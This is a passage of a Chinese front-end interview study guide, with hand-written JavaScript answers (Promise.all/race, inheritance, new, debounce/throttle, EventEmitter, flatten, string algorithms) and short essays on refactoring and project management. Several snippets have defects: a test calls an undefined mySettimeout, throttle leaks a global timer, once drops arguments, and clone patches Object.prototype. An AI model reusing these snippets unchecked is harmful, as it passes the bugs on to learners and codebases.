可以根据当前值的构造类型创建数组或对象,再逐项复制属性,遇到对象时递归调用 clone()。 Number、String 和 Boolean 这类非对象属性可以直接赋值,因为复制的是它们的值。对于 Array,通过 this.constructor === Array 创建新数组;其他对象则创建普通对象。该写法使用 for...in 遍历属性,适合题目限定的五种主要数据类型。

Object.prototype.clone = function(){
    var o = this.constructor === Array ? [] : {};
    for(var e in this){
      o[e] = typeof this[e] === "object" ? this[e].clone() : this[e];
    }
    return o;
  }

# 18 手写 promise.all 和 race(京东)

⚡ 30 秒速记

  • all:返回新 Promise,遍历所有输入,用计数器统计完成数,结果按原索引存入数组(不能用 push,顺序会乱);任一 reject 立即整体 reject;空数组直接 resolve([])
  • race:遍历所有输入,谁先落定就用谁的结果 resolve/reject;空数组会永远 pending
  • 两个都要用 Promise.resolve(item) 包一层,因为输入项可能不是 Promise
  • 顺带记住另外两个:allSettled 永不 reject,返回 { status, value/reason } 数组;any 取第一个成功的,全失败则抛 AggregateError
  • 高频追问:怎么实现并发数限制?用一个执行池,完成一个补一个

Promise.all 要按输入顺序收集全部结果,Promise.race 则把最先落定的结果直接返回。 实现 all 时用索引写入结果数组并计数,不能直接 push,因为各任务完成顺序不确定;任意一项失败就立即 reject。两者都应先用 Promise.resolve 包装输入项,以兼容普通值。还要注意,all 接收空数组时应返回空数组,而 race 接收空数组会一直处于 pending。

  //静态方法
  static all(promiseArr) {
    let result = [];
    //声明一个计数器 每一个promise返回就加一
    let count = 0;
    return new Mypromise((resolve, reject) => {
      for (let i = 0; i < promiseArr.length; i++) {
      //这里用 Promise.resolve包装一下 防止不是Promise类型传进来
        Promise.resolve(promiseArr[i]).then(
          (res) => {
            //这里不能直接push数组  因为要控制顺序一一对应(感谢评论区指正)
            result[i] = res;
            count++;
            //只有全部的promise执行成功之后才resolve出去
            if (count === promiseArr.length) {
              resolve(result);
            }
          },
          (err) => {
            reject(err);
          }
        );
      }
    });
  }
  //静态方法
  static race(promiseArr) {
    return new Mypromise((resolve, reject) => {
      for (let i = 0; i < promiseArr.length; i++) {
        Promise.resolve(promiseArr[i]).then(
          (res) => {
            //promise数组只要有任何一个promise 状态变更  就可以返回
            resolve(res);
          },
          (err) => {
            reject(err);
          }
        );
      }
    });
  }
}

# 19 手写-实现一个寄生组合继承

⚡ 30 秒速记

  • 三步:① 子构造函数里 Parent.call(this, ...args) 继承实例属性
  • ② Child.prototype = Object.create(Parent.prototype) 继承原型方法(用 Object.create 而不是 new Parent(),避免多调一次父构造函数)
  • ③ Child.prototype.constructor = Child 修正 constructor 指向
  • 为什么叫"寄生组合":组合了"借用构造函数 + 原型链",并用 Object.create 这个"寄生"手段避免了组合继承调用两次父构造函数的缺陷
  • 这是 ES5 的最优继承方案,ES6 的 class extends 就是它的语法糖
  • 完整版还要继承静态方法:Object.setPrototypeOf(Child, Parent)

寄生组合继承就是在子构造函数中调用父构造函数,再用 Object.create 接上父类原型。 Parent.call(this, ...args) 负责复制实例属性,Children.prototype = Object.create(Parent.prototype) 负责继承原型方法。这样不会通过 new Parent() 额外执行一次父构造函数,最后还要把 constructor 修正为 Children。如果还需要继承静态成员,可以再用 Object.setPrototypeOf(Children, Parent)。

function Parent(name) {
  this.name = name;
  this.say = () => {
    console.log(111);
  };
}
Parent.prototype.play = () => {
  console.log(222);
};
function Children(name) {
  Parent.call(this);
  this.name = name;
}
Children.prototype = Object.create(Parent.prototype);
Children.prototype.constructor = Children;


let child = new Children("111");
console.log(child.name);
child.say();
child.play();

# 20 手写-new 操作符

⚡ 30 秒速记

  • 四步:① Object.create(Fn.prototype) 创建对象并链好原型 ② Fn.apply(obj, args) 以它为 this 执行构造函数 ③ 判断返回值 ④ 返回对象
  • 关键点:构造函数显式 return 一个对象时以那个对象为准,return 原始值则忽略
  • 代码:function myNew(Fn, ...args) { const obj = Object.create(Fn.prototype); const r = Fn.apply(obj, args); return (r !== null && (typeof r === 'object' || typeof r === 'function')) ? r : obj }
  • 边界:第一个参数不是函数应该抛 TypeError;箭头函数没有 prototype 也不能被 new
  • 第 3 题的原型链演示可以看到 new 出来的实例原型指向哪

模拟 new 的核心是创建一个指向构造函数原型的新对象,并让构造函数以它作为 this 执行。 可以先用 Object.create(fn.prototype) 创建对象,再通过 fn.call(obj, ...args) 传入参数。若构造函数显式返回对象或函数,就使用该返回值;返回原始值或没有返回值时,仍然返回新对象。实际封装时还应校验 fn 是否可作为构造函数,箭头函数就不能被 new。

function myNew(fn, ...args) {
  let obj = Object.create(fn.prototype);
  let res = fn.call(obj, ...args);
  if (res && (typeof res === "object" || typeof res === "function")) {
    return res;
  }
  return obj;
}
// 用法如下:
function Person(name, age) {
  this.name = name;
  this.age = age;
}
Person.prototype.say = function() {
  console.log(this.age);
};
let p1 = myNew(Person, "lihua", 18);
console.log(p1.name);
console.log(p1);
p1.say();

# 21 手写-setTimeout 模拟实现 setInterval(阿里)

⚡ 30 秒速记

  • 思路:setTimeout 里执行回调,然后在回调末尾再次 setTimeout,形成递归
  • 为什么这样更好:setInterval 是固定间隔入队,若回调执行时间超过间隔会造成任务堆积、连续执行;递归 setTimeout 保证上一次执行完才开始计时
  • 要返回一个可取消的句柄:用对象保存当前 timer id,cancel 时 clearTimeout
  • 进阶:用 Date.now() 校正累积漂移 —— 每次计算真实应该延迟多久,而不是固定值
  • 反向题也常考:用 setInterval 模拟 setTimeout(执行一次后立刻 clearInterval)

用 setTimeout 模拟 setInterval,就是每次回调执行完后再安排下一次定时任务。 我一般会保存当前的定时器标识,并返回一个取消函数;取消时设置停止标记,必要时再调用 clearTimeout。这种写法保证上一轮回调完成后才开始等待下一轮,不会按固定间隔持续入队。代价是回调执行时间会叠加到间隔中,因此长时间运行可能产生累计误差。

function mySetInterval(fn, time = 1000) {
  let timer = null,
    isClear = false;
  function interval() {
    if (isClear) {
      isClear = false;
      clearTimeout(timer);
      return;
    }
    fn();
    timer = setTimeout(interval, time);
  }
  timer = setTimeout(interval, time);
  return () => {
    isClear = true;
  };
}
  • 函数内部定义了一个timer变量和一个isClear变量,timer用于保存setTimeout的返回值,isClear用于标记是否需要清除定时器。
  • interval函数是核心的定时执行函数,它会在每个时间间隔内执行一次回调函数fn。在每次执行回调函数之前,会检查isClear的值,如果为true,表示需要清除定时器,此时会调用clearTimeout清除定时器并直接返回。否则,会执行回调函数fn,然后通过setTimeout设置下一个定时执行。
  • 在调用mySetInterval函数时,会立即执行一次interval函数,并通过setTimeout设置下一次的定时执行。同时,返回一个函数,调用该函数可以手动清除定时器。
  • 需要注意的是,模拟实现的mySetInterval函数在执行回调函数时是通过setTimeout实现的,因此会存在一定的延迟。实际上,使用setInterval能更准确地控制时间间隔,因为setInterval会尽可能保持固定的间隔时间。而使用setTimeout实现的mySetInterval函数可能会存在一些累积的误差。
// 测试
let a = mySettimeout(() => {
  console.log(111);
}, 1000)
let cancel = mySettimeout(() => {
  console.log(222)
}, 1000)
cancel()

# 22 手写-发布订阅模式(字节)

⚡ 30 秒速记

  • 核心结构:一个 events 对象(或 Map),键是事件名,值是回调数组
  • 四个方法:on(订阅,push 进数组)、emit(发布,遍历执行并传参)、off(取消,filter 掉指定回调)、once(只执行一次,内部包装后在执行时自动 off)
  • once 的实现要点:包装函数上挂原函数引用(wrapper.fn = fn),off 时才能正确匹配
  • 边界:emit 不存在的事件不应报错;off 不传回调时清空该事件的所有订阅
  • 与观察者模式的区别:发布订阅有中间调度中心,发布者和订阅者互不知道;观察者模式里 Subject 直接持有 Observer 列表
  • 应用:Node 的 EventEmitter、Vue 2 的 EventBus、各种事件总线

发布订阅模式可以用一个 events 对象或 Map 实现,事件名对应一组回调,并提供 on、emit、off 和 once。 on 负责追加回调,emit 遍历执行并透传参数,off 过滤指定回调;不传回调时也可以约定清空该事件。once 本质上是包装原回调,执行后自动取消订阅,同时保留原函数引用,方便 off 正确匹配。还要处理事件不存在时不报错,这种结构常用于 EventEmitter 或事件总线。

class EventEmitter {
  constructor() {
    this.events = {};
  }
  // 实现订阅
  on(type, callBack) {
    if (!this.events[type]) {
      this.events[type] = [callBack];
    } else {
      this.events[type].push(callBack);
    }
  }
  // 删除订阅
  off(type, callBack) {
    if (!this.events[type]) return;
    this.events[type] = this.events[type].filter((item) => {
      return item !== callBack;
    });
  }
  // 只执行一次订阅事件
  once(type, callBack) {
    function fn() {
      callBack();
      this.off(type, fn);
    }
    this.on(type, fn);
  }
  // 触发事件
  emit(type, ...rest) {
    this.events[type] &&
      this.events[type].forEach((fn) => fn.apply(this, rest));
  }
}
// 使用如下
const event = new EventEmitter();

const handle = (...rest) => {
  console.log(rest);
};

event.on("click", handle);

event.emit("click", 1, 2, 3, 4);

event.off("click", handle);

event.emit("click", 1, 2);

event.once("dbClick", () => {
  console.log(123456);
});
event.emit("dbClick");
event.emit("dbClick");

# 23 手写-防抖节流(京东)

⚡ 30 秒速记

  • 防抖:每次触发都 clearTimeout 重新计时,只有停止操作 wait 毫秒后才真正执行
  • 节流:用时间戳或定时器控制,wait 窗口内最多执行一次
  • 加分点一:用 apply 透传 this 和参数,否则回调里 this 会丢
  • 加分点二:防抖支持 immediate 选项(首次立即执行)
  • 加分点三:节流的两种实现有区别 —— 时间戳版首次立即执行但末次会丢,定时器版首次延迟但末次会执行;完整版两者结合
  • 加分点四:返回的函数上挂一个 cancel 方法,组件卸载时能取消待执行的任务
  • 第 82 题有交互演示,可以直观看到两者的触发时机差异

防抖是每次触发都重新计时,停止触发满 wait 后才执行;节流则保证一个 wait 窗口内最多执行一次。 实现时要用 apply 透传调用时的 this 和参数,否则回调上下文可能丢失。防抖可以增加 immediate 支持首次立即执行;节流中,时间戳方案首次立即但可能丢末次,定时器方案首次延迟但能保留末次。实际在滚动监听或输入搜索中使用时,我一般还会提供 cancel,方便组件卸载时清掉待执行任务。

// 防抖
function debounce(fn, delay = 300) {
  //默认300毫秒
  let timer;
  return function () {
    const args = arguments;
    if (timer) {
      clearTimeout(timer);
    }
    timer = setTimeout(() => {
      fn.apply(this, args); // 改变this指向为调用debounce所指的对象
    }, delay);
  };
}
// 测试
window.addEventListener(
  "scroll",
  debounce(() => {
    console.log(111);
  }, 1000)
);

// 节流
// 设置一个标志
function throttle(fn, delay) {
  let flag = true;
  return () => {
    if (!flag) return;
    flag = false;
    timer = setTimeout(() => {
      fn();
      flag = true;
    }, delay);
  };
}

window.addEventListener(
  "scroll",
  throttle(() => {
    console.log(111);
  }, 1000)
);

# 24 将虚拟 Dom 转化为真实 Dom(类似的递归题-必考)

⚡ 30 秒速记

  • 虚拟 DOM 结构:{ tag, props, children }
  • 递归三步:① document.createElement(tag) ② 遍历 props 设置属性(区分 style/class/事件/普通属性)③ 遍历 children 递归创建并 appendChild
  • 文本节点要单独处理:typeof child === 'string' 时用 document.createTextNode
  • 事件属性(onClick)要用 addEventListener 而不是 setAttribute
  • 性能:批量创建时先挂到 DocumentFragment,最后一次性插入,只触发一次重排
  • 延伸问题通常是 diff 算法(见框架章第 3 题)和 key 的作用

把虚拟 DOM 转成真实节点,本质上是根据 tag 创建元素、设置属性,再递归渲染 children 并追加进去。 字符串和数字不能按元素处理,需要先转换并通过 document.createTextNode 创建文本节点。属性处理不能全部依赖 setAttribute,像样式、类名和 onClick 事件应分别处理,事件要使用 addEventListener。批量渲染时可以先放进 DocumentFragment 再统一插入,后续还可延伸到 diff 和 key 的作用。

{
  tag: 'DIV',
  attrs:{
  id:'app'
  },
  children: [
    {
      tag: 'SPAN',
      children: [
        { tag: 'A', children: [] }
      ]
    },
    {
      tag: 'SPAN',
      children: [
        { tag: 'A', children: [] },
        { tag: 'A', children: [] }
      ]
    }
  ]
}

把上面的虚拟Dom转化成下方真实Dom

<div id="app">
  <span>
    <a></a>
  </span>
  <span>
    <a></a>
    <a></a>
  </span>
</div>

答案

// 真正的渲染函数
function _render(vnode) {
  // 如果是数字类型转化为字符串
  if (typeof vnode === "number") {
    vnode = String(vnode);
  }
  // 字符串类型直接就是文本节点
  if (typeof vnode === "string") {
    return document.createTextNode(vnode);
  }
  // 普通DOM
  const dom = document.createElement(vnode.tag);
  if (vnode.attrs) {
    // 遍历属性
    Object.keys(vnode.attrs).forEach((key) => {
      const value = vnode.attrs[key];
      dom.setAttribute(key, value);
    });
  }
  // 子数组进行递归操作 这一步是关键
  vnode.children.forEach((child) => dom.appendChild(_render(child)));
  return dom;
}

# 25 手写-实现一个对象的 flatten 方法(阿里)

⚡ 30 秒速记

  • 目标:把嵌套对象拍平成一层,键用路径拼接 —— { a: { b: 1 } } → { 'a.b': 1 }
  • 递归实现:遍历键,值是普通对象就带上前缀继续递归,否则直接赋值
  • 数组的键用方括号表示:{ a: [1,2] } → { 'a[0]': 1, 'a[1]': 2 }
  • 边界处理:空对象和空数组应保留原值(否则信息丢失)、null 不能当对象递归(typeof null === 'object' 的坑)
  • 反向题 unflatten 也常考:按 . 和 [] 拆分路径逐层构建
  • 实际用途:表单字段扁平化、埋点参数打平、配置项合并

对象扁平化就是递归遍历嵌套值,把访问路径拼成键,例如 { a: { b: 1 } } 变成 { "a.b": 1 }。 遇到普通对象时用点号继续拼接,遇到数组时用 [index],到基本类型后再把值写入结果对象。判断可递归值时要排除 null,因为 typeof null 也是 object。空对象和空数组没有子项可遍历,若业务需要保留结构就应直接记录原值;这种方法常用于表单字段、埋点参数或配置数据打平。

题目描述

const obj = {
 a: {
      b: 1,
      c: 2,
      d: {e: 5}
    },
 b: [1, 3, {a: 2, b: 3}],
 c: 3
}

flatten(obj) // 结果返回如下
// {
//  'a.b': 1,
//  'a.c': 2,
//  'a.d.e': 5,
//  'b[0]': 1,
//  'b[1]': 3,
//  'b[2].a': 2,
//  'b[2].b': 3
//   c: 3
// }

答案

function isObject(val) {
  return typeof val === "object" && val !== null;
}

function flatten(obj) {
  if (!isObject(obj)) {
    return;
  }
  let res = {};
  const dfs = (cur, prefix) => {
    if (isObject(cur)) {
      if (Array.isArray(cur)) {
        cur.forEach((item, index) => {
          dfs(item, `${prefix}[${index}]`);
        });
      } else {
        for (let k in cur) {
          dfs(cur[k], `${prefix}${prefix ? "." : ""}${k}`);
        }
      }
    } else {
      res[prefix] = cur;
    }
  };
  dfs(obj, "");

  return res;
}
flatten();

# 26 手写-判断括号字符串是否有效(小米)

⚡ 30 秒速记

  • 经典栈题:遇到左括号入栈,遇到右括号看栈顶是否匹配,匹配就出栈,不匹配直接 false
  • 结束时栈必须为空,否则说明有未闭合的左括号
  • 用一个映射表 { ')': '(', ']': '[', '}': '{' } 简化匹配判断
  • 小优化:字符串长度为奇数可以直接返回 false
  • 时间 O(n),空间 O(n)
  • 变体:最长有效括号长度(用栈存索引或动态规划)、删除最少括号使其有效

这道题用栈处理最合适:左括号入栈,右括号与栈顶配对,类型不一致就直接返回 false。 我会用映射表保存三组括号关系,这样匹配逻辑更集中,也不需要写很多条件分支。遍历结束后栈必须为空,否则说明还有左括号没有闭合;字符串长度为奇数时也可以提前判错。整体只遍历一次,时间复杂度是 O(n),最坏空间复杂度也是 O(n)。

题目描述

给定一个只包括 '(',')','{','}','[',']' 的字符串 s ,判断字符串是否有效。

有效字符串需满足:
- 左括号必须用相同类型的右括号闭合。
- 左括号必须以正确的顺序闭合。

示例 1:

输入:s = "()"
输出:true

示例 2:

输入:s = "()[]{}"
输出:true

示例 3:

输入:s = "(]"
输出:false

答案

const isValid = function (s) {
  if (s.length % 2 === 1) {
    return false;
  }
  const regObj = {
    "{": "}",
    "(": ")",
    "[": "]",
  };
  let stack = [];
  for (let i = 0; i < s.length; i++) {
    if (s[i] === "{" || s[i] === "(" || s[i] === "[") {
      stack.push(s[i]);
    } else {
      const cur = stack.pop();
      if (s[i] !== regObj[cur]) {
        return false;
      }
    }
  }

  if (stack.length) {
    return false;
  }

  return true;
};

# 27 手写-查找数组公共前缀(美团)

⚡ 30 秒速记

  • 纵向扫描:以第一个字符串为基准,逐列比较所有字符串的同一位置,遇到不一致或越界就返回当前前缀
  • 横向扫描:先取前两个的公共前缀,再拿结果和第三个比,依次缩小
  • 分治或二分也可以,但面试写纵向扫描最清晰
  • 边界:空数组返回 ''、只有一个元素直接返回它、任一字符串为空则结果必为 ''
  • 时间复杂度 O(m×n),m 是最短字符串长度,n 是数组长度
  • 取巧解法:排序后只比首尾两个字符串(因为字典序最远的两个决定了公共前缀)

我一般用纵向扫描:以第一个字符串为基准,逐个位置比较所有字符串,发现字符不同或已经越界,就返回此前得到的前缀。 这种写法比横向合并、分治或二分更直观,面试时也更容易把边界处理完整。空数组应返回空字符串,只有一个元素时直接返回它,任意字符串为空时结果也必然为空。设最短字符串长度为 m、数组长度为 n,时间复杂度是 O(m×n)。

题目描述

编写一个函数来查找字符串数组中的最长公共前缀。
如果不存在公共前缀,返回空字符串 ""。

示例 1:

输入:strs = ["flower","flow","flight"]
输出:"fl"

示例 2:

输入:strs = ["dog","racecar","car"]
输出:""
解释:输入不存在公共前缀。

答案

const longestCommonPrefix = function (strs) {
  const str = strs[0];
  let index = 0;
  while (index < str.length) {
    const strCur = str.slice(0, index + 1);
    for (let i = 0; i < strs.length; i++) {
      if (!strs[i] || !strs[i].startsWith(strCur)) {
        return str.slice(0, index);
      }
    }
    index++;
  }
  return str;
};

# 28 手写-字符串最长的不重复子串

⚡ 30 秒速记

  • 滑动窗口 + 哈希表:右指针扩张,遇到重复字符就把左指针跳到该字符上次出现位置的下一位
  • 用 Map 记录每个字符最后出现的索引,实现 O(n) 一次遍历
  • 关键细节:左指针只能向右移动,要用 left = Math.max(left, map.get(c) + 1),否则遇到窗口外的重复字符会往回跳
  • 每步更新最大长度 max = Math.max(max, right - left + 1)
  • 时间 O(n),空间 O(min(n, 字符集大小))
  • 这是滑动窗口的模板题,相关变体:最多包含 K 个不同字符的最长子串、最小覆盖子串

这道题本质上是滑动窗口:右指针不断扩张,遇到重复字符时,把左指针移动到该字符上次出现位置的下一位。 我会用 Map 记录字符最后出现的索引,因此整个字符串只需遍历一次。关键是写成 left = Math.max(left, map.get(c) + 1),避免窗口外的重复字符让左指针倒退,并在每轮更新最大长度。时间复杂度为 O(n),空间复杂度为 O(min(n, 字符集大小))。

题目描述

给定一个字符串 s ,请你找出其中不含有重复字符的 最长子串 的长度。


示例 1:

输入: s = "abcabcbb"
输出: 3
解释: 因为无重复字符的最长子串是 "abc",所以其长度为 3。

示例 2:

输入: s = "bbbbb"
输出: 1
解释: 因为无重复字符的最长子串是 "b",所以其长度为 1。

示例 3:

输入: s = "pwwkew"
输出: 3
解释: 因为无重复字符的最长子串是 "wke",所以其长度为 3。
     请注意,你的答案必须是 子串 的长度,"pwke" 是一个子序列,不是子串。

示例 4:

输入: s = ""
输出: 0

答案

const lengthOfLongestSubstring = function (s) {
  if (s.length === 0) {
    return 0;
  }

  let left = 0;
  let right = 1;
  let max = 0;
  while (right <= s.length) {
    let lr = s.slice(left, right);
    const index = lr.indexOf(s[right]);

    if (index > -1) {
      left = index + left + 1;
    } else {
      lr = s.slice(left, right + 1);
      max = Math.max(max, lr.length);
    }
    right++;
  }
  return max;
};

# 十、前端综合问题

# 1 谈谈你对重构的理解

⚡ 30 秒速记

  • 定义:在不改变外部可观察行为的前提下,改善代码内部结构
  • 前提条件:有测试保护,否则叫"重写"不叫"重构"
  • 常见时机:加新功能前先整理、修 bug 时顺手清理、Code Review 发现坏味道
  • 常见手法:提炼函数、内联、改名、以多态取代条件表达式、拆分大组件、提取自定义 Hook
  • 前端特有的重构点:组件拆分粒度、状态提升与下沉、消除 prop drilling、样式方案统一
  • 关键原则:小步快跑,每步都保证可运行可回滚;别为了重构而重构,要有明确的收益(可读性/可测性/性能)

重构是在不改变外部可观察行为的前提下,调整代码或页面结构,让系统更容易维护、扩展,并改善性能和用户体验。 前端重构既可能是提炼函数、拆分组件,也可能涉及语义化结构、浏览器兼容、移动端适配和 SEO 优化。实际处理时我会围绕当前问题选择少量改动,例如功能扩展前整理结构,或修复问题时清理相关坏味道。重构应当小步进行并保持可运行,只有收益明确时才值得做。

重构是指在不改变外部行为的前提下,对代码、结构、布局或者设计进行优化和改进的过程。在前端开发中,重构通常指对网站或应用程序的前端部分进行优化和改造,以提升性能、可维护性和用户体验。

对于传统的网站来说,重构可以包括以下方面的优化:

  1. 结构优化:将使用表格布局的页面改为使用DIV+CSS布局,使页面结构更加语义化、清晰,并提高页面的可读性和维护性。
  2. 兼容性优化:将网站的前端代码和样式进行调整,使其能够兼容现代浏览器,并修复一些在旧版浏览器中存在的兼容性问题,提升用户体验和页面的可访问性。
  3. 移动优化:针对移动设备的特点和要求,对网站进行优化,如响应式设计或者针对移动设备的单独样式和布局,以提供更好的移动端用户体验。
  4. SEO优化:通过优化网站的HTML结构、标签使用、关键词等方面,提升网站在搜索引擎中的排名和可见性,从而增加网站的流量和曝光度。

重构的目标是改进现有代码和结构,使其更加高效、可维护和可扩展,同时保持网站的功能和外观不变。通过重构,可以提升网站的性能和用户体验,减少代码冗余,改善代码质量,并为后续的功能扩展和维护提供更好的基础。

# 2 什么样的前端代码是好的

⚡ 30 秒速记

  • 可读:命名准确、职责单一、控制流扁平(早返回代替深嵌套)、没有魔法数字
  • 可维护:低耦合高内聚、依赖方向清晰、改一处不会牵连一片
  • 可复用:抽象恰当 —— 注意别过度抽象,重复三次再抽是更实际的准则
  • 健壮:边界条件和错误路径都有处理,不吞异常
  • 高性能:没有明显的浪费(重复渲染、内存泄漏、超大包体)
  • 可测试:纯函数多、副作用集中、依赖可注入
  • 一致:遵循项目既有约定,风格由工具(ESLint/Prettier)保证而不是靠人肉
  • 一句话概括:好代码是写给人看的,顺便能被机器执行

好的前端代码应该让人容易读懂、方便修改和复用,同时兼顾性能、可靠性、兼容性与安全性。 结构清晰、命名准确,能减少理解和调试成本;模块低耦合,改动时也不容易牵连其他功能。抽象并非越多越好,组件、函数和样式应在确有复用价值时再拆分。面对不同浏览器、设备和异常输入,代码还要稳定运行,并通过测试防住常见问题。

好的前端代码具有以下特点:

  1. 可读性高:代码结构清晰,命名规范,注释清晰明了,易于理解和维护。
  2. 高复用性:代码组织良好,模块化设计,可通过复用组件、函数和样式来减少代码的冗余。
  3. 低耦合性:模块之间相互独立,减少模块之间的依赖,修改一个模块时不会对其他模块造成影响。
  4. 高性能:代码优化,减少不必要的计算和请求,合理使用缓存机制,提高页面加载速度和响应性能。
  5. 可维护性:代码结构清晰,逻辑简洁,易于调试和修改,便于团队协作和后续的功能迭代。
  6. 可靠性:代码经过严格的测试,处理各种异常情况,确保系统的稳定性和可靠性。
  7. 宽容性:能够适应不同浏览器和设备的差异,具有良好的兼容性,确保在各种环境下都能正常运行和展示。
  8. 安全性:防范常见的前端安全漏洞,保护用户信息和系统数据的安全。

此外,好的前端代码还应遵循设计模式的六大原则,包括单一职责原则、开放封闭原则、里氏替换原则、依赖倒置原则、接口隔离原则和迪米特法则,以提高代码的可扩展性、可维护性和可重用性。

综上所述,好的前端代码是可读性高、复用性强、低耦合性、高性能、可维护性和可靠性强的代码,同时符合设计模式的原则。

# 3 对前端工程师这个职位是怎么样理解的?它的前景会怎么样

⚡ 30 秒速记

  • 职责本质:把产品和设计的意图,用工程手段稳定、高效、可持续地交付到用户屏幕上
  • 能力构成:基础功底(JS/CSS/浏览器原理)+ 框架与工程化 + 性能与体验 + 跨端能力 + 业务理解
  • 边界在扩张:BFF/SSR(Node)、跨端(RN/Flutter/小程序)、可视化、Web3D、AI 应用集成
  • 对前景的客观判断:简单切图类岗位在减少(低代码和 AI 承接),但复杂交互、性能优化、工程体系建设的需求在增长
  • 建议的答法:不要空谈"前景好",而是说清"哪部分会被替代、哪部分门槛在提高、自己往哪个方向深耕"

前端工程师本质上是把视觉设计和产品需求,落成用户能直接操作的界面。 除了用 HTML、CSS 和 JavaScript 实现交互,还要关注加载速度、响应体验、可访问性以及后续维护。工作中需要和设计、产品、后端持续协作,也可能借助 Node.js 扩展到移动端或桌面端。这个岗位仍有发展空间,但技术变化很快,前景取决于能否持续学习并提升产品体验。

前端工程师是负责开发和实现用户界面的程序员。他们在网站和应用程序开发过程中扮演着至关重要的角色,负责将设计师提供的视觉设计转化为具有交互性和响应性的前端界面。以下是我对前端工程师职位的理解:

  1. 实现界面交互:前端工程师通过编写HTML、CSS和JavaScript代码来实现用户界面的交互功能,包括按钮点击、表单提交、页面切换等。
  2. 提升用户体验:前端工程师致力于提供优秀的用户体验,通过优化页面加载速度、响应性能和用户界面设计,提升用户对产品的满意度和使用体验。
  3. 跨平台开发:随着Node.js的发展,前端工程师可以使用JavaScript开发跨平台的应用程序,如桌面应用、移动应用等,扩展了前端工程师的技术领域。
  4. 与团队合作:前端工程师需要与UI设计师、产品经理、后端工程师等团队成员密切合作,理解需求并与他们进行沟通,确保产品的需求能够得到有效地实现。
  5. 页面结构和重构:前端工程师负责设计和构建页面的结构,使其具备良好的可读性和可维护性。他们还会进行页面重构,以提高网站的性能和可访问性。

前端工程师的前景非常广阔。随着移动互联网和Web技术的快速发展,前端技术变得越来越重要。随着新的前端技术和框架的涌现,前端工程师需要不断学习和更新自己的技能,以适应行业的变化。同时,前端工程师对于提高用户体验和产品质量起着关键作用,因此在各个行业都有很高的需求。

随着移动应用、响应式设计和用户体验的重要性不断增加,前端工程师的职业前景将会持续看好。他们将继续在设计和开发过程中扮演重要角色,并为产品的成功做出贡献。

# 4 你觉得前端工程的价值体现在哪

⚡ 30 秒速记

  • 用户侧:直接决定产品的第一印象和使用体验,性能和交互质量影响转化率(有大量公开数据支撑,比如加载每快 100ms 转化率提升多少)
  • 业务侧:快速试错和迭代的能力 —— 前端是离用户最近、改动成本最低的一层
  • 工程侧:通过组件库、脚手架、CI/CD、监控体系提升整个团队的交付效率
  • 技术侧:跨端复用降低多平台成本,SSR/SSG 直接影响 SEO 和获客
  • 答题建议:结合自己做过的事给出可量化的结果,比如"搭了组件库让新页面开发从 3 天降到 1 天"

前端工程的价值,是让产品在不同设备和浏览器上都能稳定、快速且易用地呈现给用户。 它既要处理兼容性和跨平台差异,也要通过优化代码、资源与缓存减少加载和响应时间。前端还负责连接后端接口,把数据准确、安全地处理后清晰展示出来。实际取舍时不能只追求视觉一致,还要兼顾性能、可访问性和维护成本。

前端工程的价值在于以下几个方面:

  1. 用户体验优化:前端工程师通过优化用户界面和交互设计,提供良好的用户体验,使用户能够轻松、高效地使用产品。他们关注用户界面的可用性、易用性和可访问性,确保用户能够舒适地与产品进行交互。
  2. 浏览器兼容性支持:不同的浏览器和设备有不同的特性和标准支持,前端工程师需要处理这些差异,确保产品在各种浏览器和设备上都能正常运行和呈现一致的用户体验。他们会进行浏览器兼容性测试和适配,以确保产品在不同环境下都能够良好运行。
  3. 性能优化:前端工程师负责优化前端代码和资源加载,以提高网页的加载速度和响应性能。他们会优化代码结构、压缩和合并文件、使用缓存机制等手段,从而减少页面加载时间,提高用户体验。
  4. 跨平台支持:随着移动设备和多平台应用的普及,前端工程师需要适应不同平台和设备的需求,开发跨平台应用或者响应式设计,使产品能够在不同平台上都具备良好的用户体验。
  5. 数据展示和接口支持:前端工程师负责展示后端数据,并通过与后端接口的交互实现数据的获取和处理。他们需要熟悉数据接口的调用和处理,确保数据的准确性和安全性,同时展示给用户的数据呈现清晰、易懂。

总之,前端工程的价值体现在提供良好的用户体验、保证产品在不同浏览器和平台上的兼容性、优化网页性能以及实现数据展示和接口支持等方面。他们为产品的成功和用户满意度做出了重要贡献。

# 5 平时如何管理你的项目

⚡ 30 秒速记

  • 代码规范:ESLint + Prettier + Stylelint + commitlint,用 husky + lint-staged 在提交时强制执行
  • 分支策略:主干保护 + feature 分支 + PR Review,禁止直推主干
  • 目录结构:按功能域而不是按文件类型组织,就近维护
  • 依赖管理:锁定 lockfile、定期 audit、大版本升级单独提 PR
  • 文档:README 讲清怎么跑起来,复杂模块写设计说明,组件用 Storybook
  • 质量保障:单测覆盖核心逻辑、E2E 覆盖关键路径、CI 上跑 lint + 测试 + 构建
  • 线上保障:错误监控(Sentry)、性能监控(RUM)、灰度发布和回滚预案
  • 答题技巧:挑两三条自己真正落地过的展开,别背清单

我一般会从统一约定、文件组织和版本管理三个方面管理前端项目。 团队先明确样式、命名、编码和注释规范,是为了降低协作时的理解成本,并让代码保持一致。文件和静态资源按统一目录及功能命名,图片也会选择合适格式并做必要优化,方便查找和控制体积。每次提交 Git 时写清改动内容与目的,但注释和规范也要适度,避免增加无效维护负担。

项目管理在前端开发中非常重要,以下是一些常见的项目管理实践:

  1. 确定项目全局约定:团队需要确定全局样式、编码规范、命名约定等,以保证代码的一致性和可维护性。
  2. 统一编码风格:团队成员需要遵循统一的编码风格,例如使用继承式的写法、单样式一行等,以提高代码的可读性和可理解性。
  3. 标注样式和模块:及时在代码中标注关键样式的编写人以及调用的地方,同时对页面进行标注,方便团队成员的理解和协作。
  4. 文件组织结构:将CSS和HTML文件分别放在不同的文件夹中,并统一命名规则,例如使用style.css作为CSS文件的命名。
  5. JS文件管理:将JS文件放在独立的文件夹中,并根据功能进行命名,使用英文翻译来描述其功能。
  6. 图片整合与优化:采用整合的方式使用图片,并使用适当的格式和优化策略,以减少文件大小和提升加载速度。
  7. 规范代码注释:对代码进行详细的注释,包括HTML、JS、CSS等,以提高代码的可读性和可维护性。
  8. 严格要求静态资源存放路径:规定静态资源的存放路径,遵循统一的文件夹结构,方便团队成员查找和管理资源文件。
  9. Git提交说明:在每次提交代码到版本控制系统时,要求团队成员填写清晰的提交说明,描述提交的内容和目的。

这些项目管理实践可以提高团队的协作效率、代码质量和项目可维护性,确保项目的顺利进行和成功交付。

# 6 组件封装

⚡ 30 秒速记

  • 设计原则:单一职责、接口最小化、状态自洽、可组合优于可配置
  • API 设计:props 命名语义化、提供合理默认值、受控与非受控都支持、用插槽/children 而不是无限加配置项
